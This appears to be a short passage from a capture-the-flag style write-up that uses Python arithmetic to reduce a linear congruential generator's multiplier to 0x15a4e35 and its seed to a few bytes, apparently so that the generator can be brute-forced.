[*] Multiplication is nothing but repeated addition. Even if you add 0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 'n' number of times, only final 32 bits matter to us. So we can do
>>> hex(0x1333370023004200babe004141414100e9a1192355de965ab8cc1239cf015a4e35 & 0xffffffff)
'0x15a4e35L'
Thats exactly 25 bits
[*] If SEED is greater than 2**32, the value of multiplication is going to cycle back. So its enough to consider only the 4 bytes of SEED
>>> hex(0x15a4e35 * 1)
'0x15a4e35'
>>> hex(0x15a4e35 * 2)
'0x2b49c6a'
>>> hex(0x15a4e35 * (2**32+1))
'0x15a4e35015a4e35'
>>> hex(0x15a4e35 * (2**32+2))
'0x15a4e3502b49c6a'
>>> hex(0x15a4e35 * (2**32+1) & 0xffffffff)
'0x15a4e35'
>>> hex(0x15a4e35 * (2**32+2) & 0xffffffff)
'0x2b49c6a'
[*] Thus we can reduce the multiplier to 0x15a4e35 and SEED to 4 bytes in LCG. Since only 8 bits of LCG is used, further optimization can be achieved by using only 3 bytes of multiplier and SEED